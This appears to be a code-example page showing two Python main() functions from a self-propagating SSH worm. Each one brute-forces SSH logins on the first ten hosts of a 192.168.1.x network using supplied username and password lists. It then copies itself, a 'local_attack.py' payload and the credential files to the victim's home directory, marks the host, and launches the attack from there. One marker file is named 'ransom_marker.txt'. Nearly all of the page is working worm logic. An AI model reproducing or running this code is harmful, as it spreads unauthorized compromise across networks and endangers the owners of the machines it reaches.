Ejemplo n.º 1
0
def main():
    """ Main function that does all the heavy lifting. Very similar to replicator """
    malicious_file = "local_attack.py"
    marker_file = "ransom_marker.txt"
    # Grab files with usernames and passwords
    parser = argparse.ArgumentParser()
    parser.add_argument("usernames", nargs=1, help="File of usernames to try", type=str)
    parser.add_argument("passwords", nargs=1, help="File of passwords to try", type=str)
    args = parser.parse_args()

    worm = SSHConnection()
    # Consider changing this to allow files in other directories to be used ?
    username_file = os.path.basename(args.usernames[0])
    password_file = os.path.basename(args.passwords[0])
    worm.set_files([malicious_file, username_file, password_file])

    # Create worm instance and search first 10 ips on the network
    worm.retrieve_vulnerable_hosts("192.168.1.", 10)

    # Set the file the worm will look for on the target system
    worm.set_worm_file(marker_file)
    if worm.find_target_host():
        # ound an unmarked host, copy the iles over to it.
        worm.set_target_dir("/home/" + worm.username + "/")
        transfer_file(worm, malicious_file)
        transfer_file(worm, __file__)
        transfer_file(worm, "SSHConnection.py")
        transfer_file(worm, username_file)
        transfer_file(worm, password_file)
        print ("[+] Completed! Launching local attack now...")
        worm.ssh_connection.exec_command("echo " + get_local_ip() + " >> " + marker_file)
        launch_attack(worm, malicious_file)
    else:
        print (" :( No target found, better get a job! ")
Ejemplo n.º 2
0
def main():
    """ User must specify the username and password file when they run the worm.
    These files will travel with the worm in its adventure across the network.
    Additionlly, the SSHConnection file will also travel with the worm, joining
    the fellowship of the worms. """
    parser = argparse.ArgumentParser()
    parser.add_argument("usernames",
                        nargs=1,
                        help="File of usernames to try",
                        type=str)
    parser.add_argument("passwords",
                        nargs=1,
                        help="File of passwords to try",
                        type=str)
    args = parser.parse_args()
    username_file = os.path.basename(args.usernames[0])
    password_file = os.path.basename(args.passwords[0])

    #  Create Instance of the SSH class
    worm = SSHConnection()

    # Set locations  to place on victim system
    worm_file = os.path.basename(__file__)
    host_dir = os.path.dirname("")  #__file__)
    if len(host_dir) > 0:
        host_dir = host_dir + "/"
    worm.set_host_dir(host_dir)
    # Sets target directory to be same as one as where it was launched
    worm.set_files([worm_file, username_file, password_file])
    worm.retrieve_vulnerable_hosts("192.168.1.", 10)
    # Find a target to infect, checks to make sure target hasn't previously been infected
    if worm.find_target_host():
        worm.set_target_dir("/home/" + worm.username + "/")
        # Mark target system
        worm.place_worm()
        # Start attack from new system
        worm.start_attack()
    else:
        with open("/tmp/no_found_hosts.txt", "w") as no_hosts:
            no_hosts.write("no hosts found")
    return